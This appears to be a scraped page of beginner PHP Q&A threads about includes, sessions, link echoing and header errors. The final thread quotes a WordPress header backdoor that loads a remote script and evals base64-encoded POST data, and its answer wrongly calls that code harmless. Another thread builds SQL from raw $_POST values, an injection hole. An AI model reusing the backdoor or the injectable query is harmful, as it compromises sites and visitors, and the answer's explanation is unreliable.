php include file stopped working [duplicate] - php

This question already has answers here:
Reference - What does this error mean in PHP?
(38 answers)
How do I get PHP errors to display?
(27 answers)
How can I get useful error messages in PHP?
(41 answers)
Closed 5 years ago.
Learning PHP and MySQL. Made a short script that retrieves contents from the database, and populates it in a tag in my html header.
index.php:
<?php
$link = mysqli_connect('localhost', 'root', 'abdullah');
if (!$link) {
echo "Could not connect";
exit();
}
if (!mysqli_select_db($link, 'chitra')){
echo "Could not find database";
exit();
}
$query = 'SELECT * FROM photos;';
$result = mysqli_query($link, $query);
while ($row = mysqli_fetch_array($result)){
$categories[] = $row['category'];
}
include 'main.html';
?>
main.html:
<!DOCTYPE html>
<html>
<head>
<title>Chitra</title>
<link rel="stylesheet" type="text/css" href="index.css">
</head>
<body>
<header>
<div id="header_username">username</div>
<div id="header_cat">
<select>
<?php foreach ($categories as $category): ?>
<option><?php echo htmlspecialchars($category, ENT_QUOTES, 'UTF-8'); ?></option>
<?php endforeach; ?>
</select>
</div>
</header>
<main>
TODO
</main>
</body>
</html>
This code was initially working. I started working on the body for a while, until suddenly, it started returning me a blank white page. I removed my main content to start over from scratch, but it still give me the same result.
I put echo statemnts throughout the PHP file, everything is executing fine until right before the include statement. I checked my Apache, MySQL, PHP installations, checked that everything is up and running. Everything is. I can't figure out the issue.

You can not use raw PHP functions etc in HTML files,
try to change the extension to .php maybe this helps you.

Related

Unexpected T_STRING with PHP session variables [duplicate]

This question already has answers here:
PHP parse/syntax errors; and how to solve them
(20 answers)
Reference - What does this error mean in PHP?
(38 answers)
Closed 4 years ago.
I have been attempting to create a user login script in PHP, however I am met with an error telling that $_SESSION["username"] is undefined. I have session_start() inside of $_SERVER["DOCUMENT_ROOT"] . "/assets/php/main.header.php", however the variable still shows as undefined.
<?php
if (!isset($_SESSION["username"])) {
header("Location: /en/");
}
?>
<!DOCTYPE html>
<html>
<head>
<?php
include($_SERVER["DOCUMENT_ROOT"] . "/assets/php/main.header.php");
?>
<title>Profile | Project Club</title>
</head>
<body>
<h1>Profile</h1>
<p><?php echo $_SESSION["username"]?></p>
<?php
include($_SERVER["DOCUMENT_ROOT"] . "/assets/php/main.footer.php");
?>
</body>
</html>
Use session_start() at the beginning of the code.

PHP loop is not throwing the correct link [duplicate]

This question already has answers here:
Reference - What does this error mean in PHP?
(38 answers)
PHP parse/syntax errors; and how to solve them
(20 answers)
Closed 5 years ago.
for my issue i'll try to be as brief as possible
what am trying to do is reference a page with a specific id in the HTML anchor link with PHP as the below
<body>
<?php $linkName = "Second Page"; ?>
<?php $id = 5; ?>
<?php echo $linkName?><br>
and it works fine
now what am trying to do is to make the $id part more dynamic by making looping the number from 1 to 10 and also providing 10 links
the code is
</head>
<body>
<?php $linkName = "Second Page"; ?>
<?php $id = 5; ?>
<?php
for ($i=0; $i < 10 ; $i++) {
echo "<a href='secondPage.php?id=<?php echo $i;?'>Link1</a>";
};
?>
</body>
however what i did notice as the below images indicates when i hover on the links i noticed that i refer to a strange link
and when i cliched on it it takes me to the following link with an id that i did not want as below
http://localhost/PHP_Course/secondPage.php?id=%3C?php%20echo%201;?
i tried researching the subject and i tried escaping the quotation but it does not seem to resolve the problem
Any help please ??
<?php and ?> tags indicate to the PHP preprocessor that anything inside them is code and needs to be parsed, everything outside is just text PHP doesn't touch.
Inside the <?php tag, "<?php" string has no special meaning, so is printed. You do not need to open and close tags all the time, try this:
</head>
<body>
<?php
$linkName = "Second Page";
$id = 5;
for ($i = 0; $i < 10 ; $i++) {
echo "<a href='secondPage.php?id=$i;'>Link1</a>";
};
?>
</body>
You're echoing a string in PHP, and using <?php... inside that string.
Solution:
echo "<a href='secondPage.php?id=" . $i . "'>Link1</a>";
id=$i will also work, because you can include variables directly in double-quoted strings.
You're echoing the PHP code itself as a string. You don't need to put PHP code inside of PHP code. Just concatenate the values you want to echo:
echo 'Link1';
because you already started an echo statement so you don't need to add another PHP starting and ending tags. just check my code below and try it.
<?php
for ($i=0; $i < 10 ; $i++) {
echo "<a href='secondPage.php?id=".$i."'>Link1</a>";
} ;
?>

Order of inclusion and interpretation for php and html

I am trying to display different content on a page based on some options.
Also, I am trying to avoid using php echo for all the html output.
I came up with the following solution accidentally, and now I'm confused about how it actually works.
test.php
<?php
function get_content() {
$page = 0;
if($page == 0)
include('page0.php');
else
include('page1.php');
}
?>
<html>
<body>
<?php echo get_content() ?>
</body>
</html>
page0.php
<?php
$link = "http://www.google.ca";
$name = "GOOGLE";
?>
<?= $name ?>
page1.php
<?php
$link = "http://www.yahoo.ca";
$name = "YAHOO";
?>
<?= $name ?>
It seems like the php interpreter would end up including html tags into a <?php ?> block when it reaches the following line, but somehow, this code works, and the outputted html is valid.
include('page0.php');
Can someone explain what exactly is going on here?
When a file is included, parsing drops out of PHP mode and into HTML
mode at the beginning of the target file, and resumes again at the
end. For this reason, any code inside the target file which should be
executed as PHP code must be enclosed within valid PHP start and end
tags.
From PHP manual, include function.

Cannot modify header information [duplicate]

This question already has answers here:
Closed 10 years ago.
Possible Duplicate:
Headers already sent by PHP
error:
Warning: Cannot modify header information - headers already sent by (output started at functions.php:37) in functions.php on line 207
add.php
<?php include('functions.php'); ?>
<?php global_header("Add"); ?>
<?php page_navigation(); ?>
<?php
// If no form has been submitted, present form
if (empty($_POST))
{
add_form();
}
// if a form has been submitted
else
{
// if form_validity() == 1, proceed to connect
if (form_validity() == 1)
{
// connect to mysql + database
connect();
// get values from form, insert into database
$saleItemCheck = isset($_POST['saleItem'])?"y":"n";
$discItemCheck = isset($_POST['discountedItem'])?"y":"n";
$sql=("INSERT INTO inventory (name, manufac, model, descrip, onhand, reorder, cost, price, sale, discont, deleted)
VALUES ('$_POST[itemName]', '$_POST[manufacturer]', '$_POST[model]', '$_POST[description]', '$_POST[numberOnHand]',
'$_POST[reorderLevel]', '$_POST[cost]','$_POST[sellingPrice]',
'$saleItemCheck', '$discItemCheck', 'n')");
// if the query doesn't work, display error message
if (!(mysql_query($sql))) { die ("could not query: " . mysql_error()); }
add_form();
redirect("view.php");
}
else
{
// if form is not valid (form_validity returns 0), display error messages
add_form();
}
}
?>
<?php page_footer(); ?>
My redirect function
<?php
function redirect($page)
{
header('Location:'.$page); <------------------------------------ line 207
}?>
Header function
<?php
function global_header($page_title)
{
$content = '<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>DIMAS OLYMPIC WEIGHTLIFTING EQUIPMENT - ' . $page_title . '</title>
<meta name="description" content="BTI320 Assignment 1">
<meta name="author" content="Marcel Olszewski - 078-681-103">
<link rel="stylesheet" href="style.css" />
</head>
<body>
<div id="container">
<div><img src="logo.png" id="logo" alt="I (Marcel Olszewski) created this in photoshop" /></div>';
echo $content; <------------------- LINE 37
}
?>
It worked before, doesn't now, not too sure why.
You don't need to close and re-open the PHP tag -- this:
}
}
?>
<?php page_footer(); ?>
can be converted to:
}
}
page_footer();
You don't even need the closing PHP tag. By closing the tag you run the risk of leaving whitespace after the closing tag which will be echoed out to the browser and will cause the issue you're having.
In general, you don't need to close your PHP tags if they come at the end of a file.
Edit: Here's your problem:
Change:
<?php include('functions.php'); ?>
<?php global_header("Add"); ?>
<?php page_navigation(); ?>
<?php
to:
<?php include('functions.php');
global_header("Add");
page_navigation();
This is because you have already outputed some stuff to the stdout. Look at your code. If you have not explicitly done that, it might be that there are errors in the execution of your code (like MySQL connection error, for instance) and the display_errors is On in your php.ini making the error messages being written prior to your header call.
Also, if the encoding of your PHP code has changed, a BOM character might have been prepended to your code, being an involuntary, but very real output before you send your headers.
Another thing that could have caused the problem, is having close-open ?><?php tags which might leave whitespaces (or even other characters) in your code in between the PHP blocks, sending unnecessary output to the browser across HTTP, causing the problem.
It looks you had output buffering on before because you definitely have output before you try to redirect.

What is this on PHP - [duplicate]

This question already has answers here:
Closed 10 years ago.
Possible Duplicate:
Got Hacked - Anyone know what this PHP Code Does?
I just found this on one of my blogs header.php file, I will like to know if somebody can say what is that ? (scroll to the right so see all the code)
Thanks
<meta http-equiv="Content-Type" content="<?php global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!#$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!#headers_sent()) { #setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!#headers_sent()) { #setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = #$_SERVER["HTTP_HOST"].#$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://vekra.ee/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;} }
bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
What I will like to know is what does this code. (scroll to the right so see all the code)
Thanks!
Double douplicate:
Here: Got Hacked - Anyone know what this PHP Code Does?
and
Here: What this php script will do ? is it Malicious php Code?
Now tis is a new practice affecting wordpress ???
From the wordpress function reference for bloginfo:
Displays information about your blog, mostly gathered from the
information you supply in your User Profile and General Options from
the WordPress Administration panels (Settings → General). It can be
used anywhere within a page template. This always prints a result to
the browser. If you need the values for use in PHP, use
In this special case:
Basically it fetches the content type (html_type) and the charset from wordpress and puts it into the HTML header of the page it creates.

Categories